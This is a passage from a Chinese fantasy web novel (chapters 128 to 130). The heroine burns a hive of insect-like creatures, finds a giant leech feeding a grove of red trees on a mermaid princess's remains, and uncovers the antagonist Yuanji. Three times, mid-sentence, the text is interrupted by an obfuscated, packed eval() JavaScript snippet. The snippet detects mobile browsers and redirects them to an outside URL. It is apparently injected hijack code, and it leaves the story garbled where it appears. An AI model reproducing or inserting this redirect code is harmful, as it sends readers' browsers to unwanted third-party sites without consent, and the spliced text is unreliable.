无数尘蚴聚合而成的这具身体,本就被称为“虚象”,此刻拥有这样模糊又精准的轮廓,仿佛还挺合理。它们甚至将我引至一截粗壮的树桩前,如招待远客般,以虫群模拟出茶盏与热气的形态。 “你怕落雨,”我望向那虚影,“下雨时便会藏匿于此地?” “宏音的雨滴……过于可怕。”虫群的声音泛起细微的涟漪,“会将我们标记,令我们失却平衡,丧失聚合的能力。唯有被淘汰、死去。” “纯水较寻常水更轻。”尾巴跃至我掌心,注视着那诡异的聚合体,“这些尘蚴因贪食纯水表层的仙力薄膜,将水滴吞入体内。但纯水太轻……它们便会失去平衡,无法快速重组聚合。” “那些被淘汰的虫……去了何处?” “随我来。坟场……在前方。” 难以解释为何我会跟随一群怪物深入陌生的丛林中。或许是因为我深知——我对这些以转化仙力为食的存在而言,本身便是剧毒。 深渊。在密林边缘,一道巨大的裂谷横亘眼前。 谷底堆积着蜕落的衰竭眼器、无数虫尸尘壳,以及难以名状的破碎组织。因长久受仙力浸润,这些残骸处于某种非生非死的状态,正缓慢蠕动着凝结成虚白、柔软的触手状物质。 我与尾巴骤然明悟——这些残骸聚集而成的,正是我在地刑司所见的千手。那些镶嵌在触手上的百目之眼,那些由十身尸壳糅合而成的诡异身躯……竟然是尸骸,是在坟场中诞生出的,另一种扭曲的生命。 一种怪物的坟场,竟是另一种怪物诞生的温床。 今日所见,已彻底颠覆我对三界的认知。此刻,困惑与好奇竟压过了恐惧与焦虑——我冷静得连自己都觉悚然。 但我很清楚我此刻要做什么。 我看向那还在兴致勃勃向我介绍“坟场”的虫群,问道,“小青是不是来过。” “是。他想消灭我们,但——他的力量不足以达成。故而,他离开了。” “之后他去了哪里?” 虚影的动作微微一顿,声线依旧平稳,“抱歉,我不能说。” “照夜,”尾巴跳回我肩头,“看来青莲确不在此处。先离开再说。” 我默然随虚影走向来时的门。在推开门的刹那,我止住了动作,回身望去—— 虫群已再度变形,化作一股聚合又弥散的、由亿万虫体构成的“风”。 将门扉彻底闭拢前,我伸出指尖,轻声道,“尾巴,点火。” 磅礴的仙力从我体内奔涌而出,不是为了消灭这些与怪物同源共生的虫,而是点燃一簇火——为烈火,铺开直抵深渊的通途。 “轰——” 不是爆炸,而是低沉、贪婪的蔓延之声。火焰触及虫壳与干燥菌丝的刹那,如找到了最上等的薪柴,骤然铺展成一片翻涌的金红色火毯。热浪向上蒸腾,撞击在结界难以穿透的穹顶,又被狠狠压回,形成灼热的涡流。 飞蛾扑火,在此刻具象。 无数尘蚴汇成黑银色的巨浪,扑向火源,如逆溅的星火。然而触及热浪的瞬间,它们便蜷缩、坠落,发出细碎密集的噼啪声——像微小的油脂在高温中接连爆裂。 金色的、不断膨胀的风啊……只需一缕,便足以让这万虫之巢彻底燃烧。 逃亡,是每一种生灵的本能。可这群能以集体意志聚合为虚象的虫,此刻却陷入了分裂的抉择,赴死,还是逃离? 一股由乱流组成的黑色虫潮,乘着炽烈的热风向我撞来,试图冲过我身后的门扉逃离此境。赤红的晶盾将我牢牢笼罩,虫群噼里啪啦地砸在坚硬的晶壳之上,瞬间被焚为灰烬。 要么死于烈火,要么死于剧毒——它们没有第三条路。 很快,火海中的森林“活”了过来,或者说,开始了沸腾着迈向消亡。 黑色的尘埃在热流中疯狂飞旋,宛若一场无声的、燃烧的暴风雪。无数虫体化作更细小的、带火星的余烬,而这些余烬又点燃更多的虫群与干枯的植被。 火不再需要风来造势。它已成了一场在密闭结界内自我喂养的风暴,燃烧的虫群提供新的燃料,热浪在结界内往复冲撞,将所有空气榨取成更炽烈的火焰。 直到火焰与尘埃,决出唯一的胜者。 濒死的虫群,以最后的力量拼凑出一句无声的诘问: 为何……屠杀我们? 抱歉,我永远无法站在你们的角度上去思考问题,谢谢你的邀请,我喜欢你的巢,但不喜欢你们。 漫长的沉默后,仅存的尘埃缓缓摆出了最后模糊不清的话语: 会的,迟早有一天,你会的。 再见,我的第一位客人。 “下雪了,照夜。”返回我身边的尾巴趴在我头顶,望着漫天簌簌飘落的灰烬。他的声音里仿佛也染着未褪的灼热,“是尸骸,是余烬。” 是啊。均匀的、尚带温热的银灰色灰烬,在空中无声飘荡,仿佛正以最后的力量,试图掩埋这场大火留下的一切。 急促的叩门声从闭合的门扉另一侧传来。我回望这片曾被称为“巢”的坟场——溟牙自外侧只能看见此境通红一片,犹如一颗在黑暗中灼烧的心脏。 动静太大了,已不宜再探下去。 我们该撤离了。 我们刚一同脱离那焚烧殆尽的境,一道银鞭便如毒蛇吐信般舔噬而来!溟牙猛力将我推开,竟徒手攥住了布满倒刺的鞭身。 “好啊——竟是你们两个!”星允鼻翼微动,双目骤凛,“焦糊气!你们在里面干了什么?!”他手腕一振,厉声道,“毁损玲珑境,我这就将你们扔进寂灭池!” “大师兄,”溟牙指缝间渗出血珠,声音却冷硬如铁,“你不也偷偷潜入,窃取仙力?” “放肆!我乃奉师尊之命,查验红绡树培植进展!”星允眼中阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17562808|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸷翻涌,猛地抽回银鞭——溟牙掌心顿时皮开肉绽,“溟牙,早知你怀有二心!弑父之徒,岂会真心拜仇人为师?今日便叫你现形!待我禀明师尊,定将你这背师忘祖弑父的畜生——剥皮拆骨!” 溟牙垂首凝视着滴血的双手,忽而抬起那双仍泛着血痕的眼睛,一字一顿问道,“当年玄牝已有降意……为何一定要赶尽杀绝?” “你既问起,那便告诉你。”星允蔑然冷笑道,“无他——师尊看中了玄牝的‘虺蛇之毒’。此毒殊异,可长久留存于仙力之中,更具麻痹神魂之效。”他逼近一步,语气里带着讥诮,“可惜你那蛇娘死得太早,否则从她体内提取毒液,也不是不行。要怪,就怪玄牝不识抬举!至于你……”他目光如刀,“师尊留你在侧,不过是为在你体内涵养毒源。说不定哪一日,你便能与你那不知廉耻的爹娘——地下团聚了!” 话音未落,溟牙身影骤动! 借着那双仍拥有“视温”能力的竖瞳,溟牙如蛇影般闪至星允身侧,双臂死死箍住对方,猛地撞向最近的一粒光斑—— “照夜,跟上!”尾巴的光晕急闪两下,“快——!” 我紧随其后,穿过境门跌入一片陌生的开阔之地。 这是一处庞大得令人窒息的地下空间。 昏暗的空气中弥漫着腐甜的气息,恍若巨兽的消化道。我与尾巴攀上一处凸起的土丘,只见下方溟牙与星允正在密密麻麻、交错虬结的黑褐色根状物间缠斗。二人身法快得只剩残影与迸溅的冷光。 “尾巴,那些……是根须?” 尾巴昂首凝望片刻,忽地拍打我头顶,“照夜,看根系扎入的地方——!” 我顺着尾巴所指望去,浑身的血骤然凉了半截。 那些粗壮的根簇并非直接扎入土壤,而是深深刺进一片暗红色的、覆满苔菌的“地面”之中——而那“地面”此刻正随着打斗的震动缓缓蠕动起来。不,那不是地面,而是一条近乎半透明的巨型大红水蛭! “走!近些看!”尾巴几乎是操纵着我的身体纵身跃下,灵活避过飞溅的碎石,最终轻巧落在那温热潮腻的腔体之上。 我得以近距离观察。这怪物更显骇人,它通体呈半透明的暗红色,如凝结的血块被强光穿透。体表无鳞,唯有一层不断分泌粘液的胶质外皮,随呼吸起伏,泛出湿漉漉的油光。最诡异的是它的背部——无数粗壮的根须深深插入其中,仿佛正从中汲取着什么的同时,也将这庞然巨物牢牢禁锢于此。 “大红水蛭在为那些植物提供养料?” 尾巴沉重地“嗯”了一声,光晕微微发颤,“这气味……上面是红绡林,照夜。” 我猛然醒悟——那熟悉到令人作呕的甜腻气息,正是红绡茶的味道。如此说来,红绡树的养料,正是这巨蛭的……组织液。 “照夜!看里面——!”尾巴几乎将我的脸按向那颤动的外皮。 透过半透明的体壁,我看到了腔体深处。 下一秒,寒意自我脊椎炸开—— 在那缓缓蠕动的、充斥猩红粘液的腔道内,悬浮着一具尚未被完全消化的鲛人残骸。几片失去光泽的珍珠鳞、一段苍白的肢体、半张模糊的面容……正在浓稠的消化液中缓缓沉浮、旋转。部分碎块的边缘已然软化、分解,化作絮状物融入周围猩红的液体。 是凤琤。 那个失踪的鲛人公主,竟在此处,以这般模样呈现于我眼前。 “天……尾巴,”我听见自己的声音在发抖,“那些‘营养土’……是这东西的排泄物。所以里面才会混着鲛人鳞片!” 尾巴的光晕下意识想遮住我的眼睛。 129. 129章 富含营养的鲛人 这一幕太过恐怖、太过诡异、太过绝望。它已超出了我所有关于“阴谋”的想象,直抵我心底最底层的、最赤裸的恐惧。 这时,溟牙如鬼魅般闪现在我身后,几乎是捞着我的腰身,以不可思议的速度将我拖至土丘阴影之下。“这狗东西……想将咱们彻底留在这里。” 话音未落,星允的暴怒嘶吼在密闭空间中轰然炸开,“万星归尘——!给我死——!!” 如同混合了熔融琉璃与赤金的炽热糖浆,化作漫天暴雨倾盆砸落!每一滴都裹挟着蚀骨的高温,触及岩壁的瞬间便爆开刺目的火光与嗞嗞白烟。整个境开始剧烈震颤,碎石簌簌崩落。 “啧。”溟牙那双仍淌着血痕的竖瞳在昏暗中掠过一丝冷光,“我若败了,你便找机会逃。” 我死死攥住溟牙血迹斑斑的衣袖,“我不逃!要走一起走!” 竖瞳微微一弯,溟牙抬手轻拍了下我的头顶,掌心温热粘腻,“知道了。就在此处,等我手刃仇人。” 话音未落,溟牙身形骤动—— 如一道贴着地面疾掠的蛇影,溟牙猛地弹射而出,悍然撞入那片金褐色的死亡稠雨!在他的热视界中,每一滴滚烫糖浆都清晰无比,甚至连星允身上那层不断流动、覆盖全身的糖稀“盔甲”也被标记得分明。溟牙凭借柔韧到诡异的身法,在漫天泼洒的粘稠杀机间穿梭、扭折,竟在间不容发之际穿过雨幕,直逼星允! 就在溟牙蓄力、欲以指尖凝起毒芒发起绝杀一击的刹那—— “叽————!!!!!” 一阵尖锐到足以撕裂灵魂的嘶鸣,自那大红水蛭体内猛然爆发! 星允的糖稀雨蚀穿了它半透明的表皮,剧痛让它瞬间陷入疯狂!庞大的粘腻身躯如受电击般猛烈弹起、挣动,硬生生扯断了无数深扎其中的根簇。猩红的液体如血液般从断根处汩汩喷涌,混杂着刺鼻的腥甜气息。 “快看,照夜,溟牙要与星允同归于尽了。”尾巴紧紧搂住我的脖颈,与我一同看向那个几乎做出一个疯狂决定的男人。 只见下方,溟牙身形骤然一顿。他放弃了直取星允,转而将周身最后一股仙力,凝成一道细如发丝却锐利无匹的气箭,对准水蛭被糖浆灼伤最深、皮肉翻卷的创口——疾射而入! “吼——!!!!” 叠加的剧痛彻底摧毁了水蛭最后一丝理智。它前端那菊瓣状、密布环齿的巨口猛然张开,带着吞噬一切的狂怒,朝着痛苦的源头——也是距离最近的活物——溟牙与星允噬咬而下! “溟牙——!” 我的惊呼被淹没在沉闷的撞击与撕裂声中。水蛭巨口闭合的刹那,溟牙与星允的身影同时消失在那猩红的腔体深处。只剩那庞然巨物在剧痛中疯狂翻滚、冲撞,引得整个地下空间岩崩石落,恍若末日。 “毒牙大将!”我顶着纷落的碎石,不顾一切冲向那疯狂蠕动的水蛭。红色晶盾在周身展开,弹开所有袭来的攻击。 我死死攀上水蛭湿滑粘腻的体壁,透过半透明的外皮向内看去—— 星允的身影已被浓稠的消化液包裹,皮肉正以肉眼可见的速度被腐蚀、消融。而溟牙……竟只剩下一具空荡荡的、套着破碎衣衫的皮囊,在猩红液体中缓缓沉浮。 “走了!这地方要塌了!” 一只湿冷粘滑的手猛地从我身后攥住我的手腕——力道极大,拽得我一个踉跄。我惊恐回头,只见溟牙浑身赤裸地站在我身后,皮肤泛着虚白皱褶的蜕皮痕迹,发梢还在滴落粘液。 他竟然——蜕皮了! 顾不上太多了,溟牙一路拉着我极速奔跑,我顺手摸了一下他的身体,粘滑的液体,简直——必须死死攥住,否则滑手那种程度。 再次重返那片光斑浮动的玲珑境入口处,溟牙撑着膝盖急促喘息着,他扫了我一眼,言简意赅道,“脱件外衣给我。” 我脑子仍是一片木然,任由粘滑将我宽大的外衫扒下,胡乱套在自己赤裸的身躯上。衣衫过于宽大,长度却只及他膝盖,显得颇有几分滑稽。这个刚刚手刃仇敌、从怪物腹中蜕皮而出的男人,一边系着衣带,一边还不忘哑声补了一句,“小八,别光横着长……也得长个。” 此处的动静已惊动守卫,密集的脚步声由远及近,踏得人心头发颤。我望向最后那处未探的光斑——那里还残留着穆青的痕迹——我毅然决然拂开了溟牙拽着我欲一起逃跑的手。 “还有一处。我不能走。” “啧!日后再探不迟,快走!”见我纹丝不动,溟牙一时怔住。拉扯僵持终非良策,他咬牙捏紧我的手,压低嗓音,“记住!若事不可为,便先藏于境中。我与宏音必会设法——千万别硬碰硬,明白么?!” 我重重点头,抽回手,轻拍头顶的尾巴,“尾巴,我们走。” 最后一处境,依旧由深暗的甬道连接。此地静得能听见我自己的心跳。 我曾无数次想象这留有穆青痕迹的秘境是何模样,却从未料到——门后是一片温热的水。 因结界束缚,水流仿佛被盛在无形的囊袋中,澄澈、流动、恒温。尾巴的光晕裹住我,好似龙鱼般的巨大尾鳍轻轻摆动,向着上方那团朦胧的光亮游去。 破水而出的刹那,映入眼帘的是在风雨中狂舞的垂纱幔——它们如无处栖身的飞蛾,癫狂地翻卷着、拍打着。 嵊风殿,总是有风,即便这样大雨倾盆的天气,也依旧如此。我缓缓走上湿滑的步梯,望着眼前平静、肃穆,没有任何生气的房间,眼神落到了那古朴小桌上的铜镜里。 镜中映出落汤鸡般狼狈的我自己。而镜面本身,却仿佛承载着这房间主人的视线——平静、疏离,仅出于某种观察本能,永恒地审视着映入其中的一切。 “……照夜……”尾巴放轻了声音,只是紧紧贴着我的脸颊,感受着我灼热的眼泪落下。 我无法想象,这最后一处留存穆青痕迹的境,是我每日最厌烦来的地方,这处境,竟然是渊寂的寝宫。 缓步走到那印照着我身影的镜子前,我看着桌上那朴素的木匣子,耳中听不到外面狂风劲雨发出的呼啸声,仿佛周遭的一切都是虚假的。 我缓缓打开那木匣,当匣中静静盛放之物闯入我的眼帘时,我悬着的心竟奇异般地落回了原处。 一枚眼熟的白玉簪子,与曾被无意遗落在归德城下,培养无相孽核心的石窟中那一枚一模一样,明示了其主人的真实身份。 秽道人,即是渊寂。 “将寝宫与玲珑境相连,是为出入各处秘境更方便。”尾巴的光晕微微收缩,似在低叹,“他大费周章,借女儿之躯吸纳玄牝的毒力,放任其浇灌澜歌树几十载,所求的……正是令灵树彻底枯亡。”他顿了顿,声音更沉,“如此,方能放任那些受膣藟侵染的变种怪物在此界存活。他要的从来不是破坏结界、引外敌侵入——而是让能镇压净化怪物的圣树死去,令怪物得以在此处……实现生存。” 我将簪子轻轻放回原处,望向窗外骤起的喧嚣和脚步声。拖着沉重麻木的双腿走向门边,低声问出那个盘旋在心头已久的问题,“尾巴……渊寂他,是否早已被‘寄生’了?” “……我不知道,照夜。”尾巴的光晕罕见地透出无力,“我无法接近这个人。” 嵊风殿外,仙军阵列森严,如临大敌。我拽住一名匆匆走过的仙婢,哑声问发生何事。她垂首颤抖着回答我,灵璧城外……出了大事。 寒意自骨髓深处渗出,我浑身止不住地轻颤。我脚步虚浮地走在长街上,目光木然掠过行人脸上那些或惊惶、或诡秘的神情。 “尾巴,”我听见自己的声音空洞而困惑,“渊寂……他很强么?” “你感知不到,照夜。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568939|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾巴的光晕明灭不定,似在竭力思索、回忆,“渊寂能禁绝仙力。他从未真正‘操纵’过仙力,不是么?不仅如此……他还能‘掐断’他人的术法。” 我倏然想起,穆青那饱含仙力的青莲花瓣,只是被渊寂指尖轻触,便会瞬间萎蔫、溃散。 禁绝仙力。三界之中,当真存在这样的能力么? 念及此,我不禁苦笑——在目睹今日种种诡异之象后,这世间还有什么不可思议的事,是我不能接受的呢? “照夜,振作些。”尾巴轻轻晃了晃我的脑袋,光晕用力蹭过我的脸颊与唇角,“听着——别认输。永远别认输。” 我深吸一口气,点了点头,“嗯。我知道。待找到小青……我们再从长计议。” 尾巴像是松了口气,软软地环住我的脖颈,声音轻得像片羽毛,“我就知道……你有着这世上最坚韧的魂。” “少说好听的。”我将尾巴往怀里拢了拢,“走,去看看城外究竟出了什么乱子。” 回到息声苑,我骑上宏音那匹可在灵璧城内自由飞驰、不必担心受罚的飞兽,朝着郊外疾驰而去。 昔日栽种澜歌树残枝的那片密林,早已面目全非。那棵命途多舛的小树苗已然枯死,取而代之扎根于此的,是一片触目惊心的猩红树林——正是红绡林。 而先前那处豢养大红水蛭的秘境,竟正位于这片红绡林的地底。方才境中那场恶斗导致水蛭疯狂挣动,不仅挣破了结界束缚,更引发大规模的坍塌与破坏,无数扎根在其背脊、不断汲取组织液的红绡树被连根拔起,东倒西歪地瘫了一地。 夜雨未歇,此地却被法术照得亮如白昼。云啼正厉声指挥仙军清理现场,兵甲碰撞声混杂着雨声,一片肃杀。 远远地,我看见宏音正与一名身材魁梧挺拔的男人交谈。更高处,渊寂的祥云静静悬浮,那个男人垂眸俯视着下方——也俯视着我。 正当我怔然之际,宏音已闪身至我面前。他将我上下仔细打量一番,眉峰微蹙,随即几不可察地向我点点头,才温声问,“可是累了?先回家睡觉罢。” 我摇摇头,将疲惫不堪的脑袋抵在宏音肩头,闷声道,“我不想独自回去。” “嗯,那便在这里等我会儿,别乱跑。” 随即宏音捏捏我的脸颊,就这么当着大庭广众,分别向我和我头顶的尾巴支付了一个“亲亲”,才转身去处置现场。 而我和尾巴,便光明正大地、近距离观察起那些尚未死透的红绡林。 现场确是一片惨烈。那大红水蛭垂死挣扎时的巨力,摧毁这些树木如同碾碎枯叶。幸而,尚有部分残存完整的植株,足以供我们细察。 红绡树并不高大,树干却异常肥硕,呈现出一种饱胀的、半透明的胭脂红色。树皮光滑如凝结的胶质,皮下隐约可见深色脉络蜿蜒——与其说是木质纹理,不如说更似活物的血管。 树叶肥厚多汁,正面猩红欲滴,背面则泛着静脉血般的暗紫,叶缘微卷,渗出糖浆似的粘稠汁液。最诡艳的是它的花——并非生于枝梢,而是直接从树干、枝节处鼓胀的“瘤节”中撕裂绽出,形如倒垂的赤色铃铛,在雨水中浸得愈发糜艳。 因遭星允的糖稀重创,那大红水蛭已钻入地底深处,踪迹全无。短期内,它再无法为红绡林供给养分,而所谓“营养土”的来源,亦就此断绝。 红绡树的推广种植,竟以这么意外的方式戛然而止了。 “照夜,”尾巴的声音轻轻响起,“你说……培育这种树,究竟图什么?” 我摇头。就观察所见,那大红水蛭除却吞噬了鲛人凤琤,并无被膣藟、瘴母神或无相孽感染的迹象。这可怜的巨物,不过是被禁锢于地底,被迫成为红绡林的“养料泵”罢了。 尽管来源令人作呕,但不可否认,以红绡花叶冲泡的茶汤,确具滋养之效。 130. 130章 我不由想起百目、十身,以及由它们尸骸糅合而成的千手。一个连自己都觉得荒诞的猜测,缓缓浮上心头。 “尾巴,你说……培育红绡树,会不会只是为了避免‘浪费’?”我望着雨中那片刺目的猩红,低声道,“澜歌树既死,便借其‘遗蜕’榨取最后的价值。说难听些……不过是废物利用。” “……若依你这推论,”尾巴的光晕微微闪动,语气里掺了一丝复杂的凉意,“这个可恨的家伙,倒还真是个……节俭派。” 待我再回头时,渊寂的身影已彻底消失在沉沉的夜色里。夜雨在近午夜时分终于歇止,空气中弥漫着潮湿的泥土与草木气息。我身心俱疲,几乎将全身重量都倚在宏音身上。他倒丝毫不介意,甚至体贴地将尾巴收进袖中,叮嘱尾巴先睡。 而我则悄悄打量着站在宏音身边那个陌生的高大中年男人。 面容是经年累月的温润与清正糅合而成的模样,眉骨舒展,眼尾虽有浅浅细纹,眼神却澄澈,看人时不躲不闪,坦荡得如他那面心境法器一般。 打量了我许久,也观察了我许久,正阳仙人李正阳满腹疑惑问道,“宏音,这便是你养的第二个棠梨?” “不,这孩子名照夜。照夜,叫正阳叔叔。”宏音正低头审阅天工司递上的灾损记录,闻言抬眼,语气平淡却清晰,“虽然长得极其像,但这是照夜。” 我依言小声唤了句“叔叔”,下意识地往宏音身后缩了缩。这动作引得一旁身着银亮仙甲的云啼冷冷瞥来,那目光如薄刃般掠过我的脸颊。 “宏音大人,”云啼拱手,声音清冷,“是否立即追缉妖兽?” “嗯,那东西擅钻地穴,寻到后驱出山界即可,别让它毁了笔柱山。”宏音将文册递还仙吏,语调闲散,甚至未看云啼一眼。 云啼眼底闪过一丝隐忍的厌色,仍垂首领命,“遵令!” 待一应调度完毕,宏音转向正阳仙人,“今日未决之事,明日再续。我先走一步。” “喂喂喂,也不管我的食宿?” 宏音只摆摆手,顺手将我夹起,安稳置于飞兽背上,“仙碑司已作安排,若不称心,请自便。” 一路无声回到息声苑。宏音并未急着问我什么——见到我与溟牙平安归来,他便已放心大半。只是,溟牙蜕皮一事,依旧令敏锐的他察觉到异样。 浴池内水汽氤氲,潺潺流水声掩去杂响,对宏音这种亲水之人而言,更是静谧安然。在坦白一切前,我浮出水面,小声问他还能感知到那些‘尘埃’么? 答案是肯定的。雨停后,极少量的“尘埃”又出来了。我心底一沉,果然,很难彻底消灭那些肉眼不可见,近乎难以计数的尘蚴。 “那么照夜,”宏音取过素巾,浸入温热水中,“说说今日之事吧,简略些便好。你该睡觉了。” 我将半张脸埋进水里,只露出一双眼睛,隔着朦胧雾气望他,“简单说……我今日杀了百目、十身与星允,又重创了千手。” 宏音手上动作未停,力道稳妥却不失力度,搓得我肩背微微发红。他神色间未见惊涛骇浪,只是沉吟着,像在寂静中拼凑线索。而我则趁机从怀里捞出那团睡得暖烘烘的尾巴,小心浸入水中,细细揉洗——虽然知道他本是仙力凝形,不染尘垢,但既有了形貌,又有“屁股洞”,总觉得洗过才算干净。 月羽花的清芬在湿润空气里袅袅不散,温存而不会侵扰嗅觉,久处其间亦不腻烦。当我几乎要在蓬松的被褥中沉入梦境时,宏音却轻轻将我摇醒。 他指尖温热,点了点我的额心,“照夜,记住,任何境遇下,都需存一份足够的耐心——耐心等待、观瞧、习学。还有最要紧的是,”他声音低而沉缓,“当你力有未逮时,要懂得寻找盟友,依靠同伴,甚至……善用敌人。” “嗯。你的教诲我记住了。” 事实上,宏音并不需要我交代太多细节。他凭借自身的洞察与推断,便已能将昨日发生的一切拼凑出轮廓。 他知道,我选择除掉百目、十身乃至重创千手,没有别的原因——只因那三名人造仙,皆是经由怪物“膣藟”改造而成。否则,我绝不会如此决绝。 他也已辨认出红绡茶营养土中那些零碎的鲛人残屑属于谁,更明了溟牙为何要对星允下杀手。甚至,通过对大红水蛭肆虐后的痕迹抽丝剥茧,将一系列看似无关的事件串联了起来,勾勒出背后隐约的脉络。 最终,他清楚地意识到——穆青,是真的失踪了。 灵璧城说起来很大,但从流言蜚语不胫而走的速度来看,它却又显得那样小。以至于无悔这分享欲旺盛的“八卦大王”从不缺席任何风吹草动。这不,我还没睡醒,只勉强应付了宏音超额支付的数个“报酬”后,就被无悔扒开了沉甸甸的眼皮。 “乖乖,你们天天睡一起不说,还亲来亲去毫不避讳。”眼睛亮晶晶的无悔凑在我眼前,压低了声音,“趁你现在是宏音的心头好,赶紧催他立下遗嘱,那数不清的利衡币不就都是你的了?到时候分我一点专家咨询费就行。我不贪心,只要一成。” “你这个臭鲛人,看清楚,这是我的房间,”我困倦地推开无悔的脸,含糊抗议道,“而且我是个姑娘。” 无悔竟真的环顾四周,颇为认真地评价,“可不,这屋子是宏音亲自为你布置的。连窗户的角度都精心算过,清晨第一缕阳光不会过早照进来吵醒你这瞌睡虫。” “……你听话只听前半句?” 无悔也不反驳,笑嘻嘻地抱来叠好的衣裳,殷勤地想帮我套上,神色坦然得不像话,“哎呀,我都不介意你是姑娘。” 合着平日里,还是我占了这臭鲛人的便宜似的。 无悔今日急匆匆赶来,倒不全是为了八卦昨日的红绡林坍毁事件。他更急于分享一桩新鲜出炉的“大事”:今早天未亮时,桃夭照例去“骚扰”渊寂——这回居然得手了。 我顿时来了精神,催无悔快讲。 这兴致高昂的鲛人少爷一边将我扶上飞兽赶往成钧府,一边绘声绘色地描述起黎明前那场“壮举”。原来,经我上次无意提醒,无悔与桃夭都认为,趁渊寂将醒未醒、意识朦胧之际动手,或许真有一丝得手的机会。于是无悔负责盯梢,桃夭负责行动,在渊寂尚在深眠时,悄悄展开了偷袭计划。 万万没想到,平日绝无可能被近身的渊寂,这次竟真的没能防住。 “啊?渊寂死了吗?!”我心头一跳。 “呃,你的想法会不会……太激进了些。”无悔尴尬地挠挠脸,“我们只是想逼他认个错。好歹是亲戚,哪能真下死手。” 我暗暗叹了口气。要杀渊寂,不知还需要多大的力量。更何况,在他吐出穆青的下落之前,我绝不能轻举妄动。 想到这里,我不由摇头——即便我体内有尾巴,此刻也绝非渊寂的对手。 “那……至少重伤他了?” “咳,你太高看我们俩了。”无悔嘿嘿一笑,露出一点狡黠又得意的神色,“这回,我们成功接近了姑丈,然后——在他脸上画了只大王八!” 我顿觉胸闷气短,没好气道,“你们两个骗子,没事干绕着灵璧城跑两圈呗。” “诶,可别小看这个!”无悔不服气地捏捏我的手臂,眼睛亮得惊人,“那可是特制的、轻易擦不掉的墨汁!” “无悔,你和桃夭要离他远一些。”我顿了顿,语气沉了沉,“越远越好。血缘亲缘……有时候什么也代表不了。” “……你话里有话。” 我望着下方练兵场上操练的身影,愁绪如雾般聚拢,“至少我不会害你,你该信我。谁叫你们是——颇具‘营养’的鲛人呢。” 跃下飞马时,无悔忽然转过身,很认真地望进我眼里,“照夜,相处这么久……你有没有过哪怕一瞬间,想啃我一口的冲动?” 我浑身鸡皮疙瘩都立了起来,嫌弃地瞥无悔一眼,“哪怕你洗八百遍澡,泡在香料缸里——我也半点兴趣都没有!” “真是没品味。”无悔轻哼一声,与我并肩朝前走。晨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17571459|204291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风拂过他微卷的发梢,他的声音忽然低了下来,“不瞒你说……芳光姑姑去世后那些年,鲛人族内乱不止。有些流离失所的族人被迫远走他乡,为了活下去……只能出卖血肉。让人啃上一口,便能换些利衡币。代价不过是疼一阵子罢了。” “……后来呢?” “后来姑丈以铁腕肃清内乱,清洗了一批心怀不轨者。那时,仙帝煌木提议将澜歌树幼苗移栽灵璧城,以鲛人仙力浇灌养护。只可惜……”无悔轻轻摇头,“澜歌树失了公主的力量滋养,终究没能成活。” 原来如此。当初煌木移栽澜歌、编织结界,不仅是为了守护灵璧城,更是为了防范可能卷土重来的“膣藟”之灾。这也正是渊寂处心积虑要杀煌木、毒害澜歌残枝的根源。 “灵木不会真正枯亡。所以,耐心守候吧。”我沉默片刻,转而问道,“话说回来,桃夭如今也算是鲛人族的公主,难道不能滋养澜歌树么?” 毫无城府——或说从未对我设防的无悔,随即便吐露了一个惊人的秘密。 桃夭与凤琤虽是双生姐妹,但事实上,桃夭是芳光公主与云笈仙人的后代。 也就是说,这对姐妹,源自两位不同的父亲。 不得不说,这件大八卦再次超越了我狭隘的认知。我只能自我心理建设一番:也许大概可能,芳光公主在同一天,极短时间内,先后与云笈以及渊寂进行了亲密接触。 几率虽小,却也大有可能。直到此刻我才恍然,为何自己从未质疑过桃夭的身份——她与凤琤的容貌,实在没有半分相似。 沉思之间,许多碎片渐渐拼合。我忽然明白了渊寂当年为何要强占芳光公主,也理解了他口中“美味”二字的深意。那不过是一场冷酷的实验,他企图通过污染鲛人血脉,进而毒害与鲛人族命运相连的澜歌圣树。 毕竟,灵木正是“膣藟”的天敌。 可为何……澜歌树的庇护范围有限,值得他如此大费周章? 是了。这个痴迷于实验的“存在”,真正要毒害的并非澜歌,也非月羽,而是——那棵能孕育出金色胎果的“抱婴椿”。 这才是渊寂潜藏于映山都的真正目的。他在寻找彻底摧毁抱婴椿的方法。只可惜,即便先代魔皇阿戈里亚斯陨落、映山都焚为焦土,那濒临枯亡的灵木却从厚厚的灰烬中汲取了养分,凭借仅存的微薄水息,逆转了枯亡的命运,顽强活了下来。 更何况,只要魔皇仍在,抱婴椿便拥有最坚实的守护。昔年魔皇将力量经由灵木赐福予魔族万民,同时也以自身仙力反哺这株镇守魔界根基的神木。 是啊。阿戈里亚斯虽已逝去,可他第一万四千八百八十八个孩子——终究是归来了。 